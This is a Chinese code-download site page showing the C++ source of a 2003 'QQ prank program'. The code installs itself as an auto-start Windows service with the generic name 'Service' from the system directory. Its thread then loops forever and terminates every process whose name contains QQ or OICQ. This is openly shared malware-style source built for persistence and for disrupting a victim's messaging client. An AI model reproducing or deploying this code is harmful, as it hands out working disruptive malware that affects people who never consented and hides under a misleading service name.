⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 service.cpp

📁 QQ恶作程序
💻 CPP
字号:
/******************************************************************/
/*Module:Service.cpp                                              */
/*Author:Inetufo                                                  */
/*Email:Inetufo@thugx.com                                         */
/*Date:2003/3/7                                                   */
/******************************************************************/
// Service.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "Service.h"
#include "winsvc.h"
#include <atlbase.h>
#include <Afxtempl.h>
#include <tlhelp32.h>

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// The one and only application object
CWinApp theApp;
using namespace std;
SERVICE_STATUS_HANDLE ssh;
SC_HANDLE scm,svc;
SERVICE_STATUS ss;
CArray<PROCESSENTRY32,PROCESSENTRY32 &> m_PEArray;
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv);
void WINAPI Handler(DWORD Opcode);
void InstallService();
UINT KillQQ(LPVOID lpvoid);

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
	int nRetCode = 0;

	// initialize MFC and print and error on failure
	if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
	{
		// TODO: change error code to suit your needs
		cerr << _T("Fatal Error: MFC initialization failed") << endl;
		nRetCode = 1;
	}
	else
	{
        SERVICE_TABLE_ENTRY ste[2];
	    ste[0].lpServiceName="Service";
	    ste[0].lpServiceProc=ServiceMain;
	    ste[1].lpServiceName=NULL;
	    ste[1].lpServiceProc=NULL;
	    StartServiceCtrlDispatcher(ste);
	    InstallService();
	}

	return nRetCode;
}


void InstallService()
{
	  LPTSTR lpSysPath=new char[MAX_PATH];
	 ::GetSystemDirectory(lpSysPath,MAX_PATH);
	 LPCTSTR lpsysfilename;
	 lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"\\Service.exe");
	 scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
	 if(scm!=NULL)

		 svc=CreateService(scm,"Service","Service",SERVICE_ALL_ACCESS,
		                     SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,SERVICE_AUTO_START,
							 SERVICE_ERROR_IGNORE,lpsysfilename,NULL,NULL,NULL,NULL,NULL); 
      if(svc!=NULL)
         svc=OpenService(scm,"Service",SERVICE_START);
        if (svc!=NULL)
		{
            StartService(svc,0,NULL);
            CloseServiceHandle(svc);
		}
        CloseServiceHandle(scm);




}
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{

    
	ss.dwServiceType             = SERVICE_WIN32;
	ss.dwCurrentState            = SERVICE_START_PENDING;
	ss.dwControlsAccepted        = SERVICE_ACCEPT_STOP| SERVICE_ACCEPT_PAUSE_CONTINUE;
	ss.dwServiceSpecificExitCode = 0;
	ss.dwWin32ExitCode           = 0;
	ss.dwCheckPoint              = 0;
	ss.dwWaitHint                = 0;
	ssh=RegisterServiceCtrlHandler("Service",Handler);
	ss.dwCurrentState = SERVICE_RUNNING;
	ss.dwCheckPoint  = 0;
	ss.dwWaitHint  = 0;
	SetServiceStatus(ssh,&ss);
	AfxBeginThread(KillQQ,NULL,NULL);
	ss.dwCurrentState = SERVICE_RUNNING;
	ss.dwCheckPoint   = 0;
	ss.dwWaitHint     = 0;
	SetServiceStatus(ssh,&ss);


}
void WINAPI Handler(DWORD Opcode)
{
	switch(Opcode)
	{
	case SERVICE_CONTROL_STOP:
        ss.dwCurrentState  =SERVICE_STOPPED; 
		SetServiceStatus (ssh,&ss);
        break;
	case SERVICE_CONTROL_CONTINUE:
		ss.dwCurrentState = SERVICE_RUNNING;
		SetServiceStatus (ssh,&ss);
		break;
	case SERVICE_CONTROL_PAUSE:
		ss.dwCurrentState = SERVICE_PAUSED;
		SetServiceStatus (ssh,&ss);
		break;

	case SERVICE_CONTROL_INTERROGATE:
        break;
	}

	SetServiceStatus (ssh,&ss);
}
//在进程列表中查找QQ程序并杀掉的线程函数
UINT KillQQ(LPVOID lParam)
{
	while(1)
	{
	
	m_PEArray.RemoveAll();
	HANDLE hProcessSnap=NULL;
	PROCESSENTRY32 pe32;
	hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    pe32.dwSize=sizeof(PROCESSENTRY32);
	if(::Process32First(hProcessSnap,&pe32))
	{
		do
		{	
			m_PEArray.Add(pe32);
		}
		while(::Process32Next(hProcessSnap,&pe32));

	}
	int i;
	for(i=0;i<m_PEArray.GetSize();i++)
	{
		CString str;
		str.Format("%s",m_PEArray[i].szExeFile);
        if(str.Find("QQ")!=-1||str.Find("OICQ")!=-1||str.Find("qq")!=-1||str.Find("oicq")!=-1)
		{
	     HANDLE hProcess;
	     DWORD ProcessID;
	     ProcessID=m_PEArray[i].th32ProcessID;
         hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
         ::TerminateProcess(hProcess,99);
		 CloseHandle(hProcess);
		}
	}

		Sleep(500);
	}
	return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -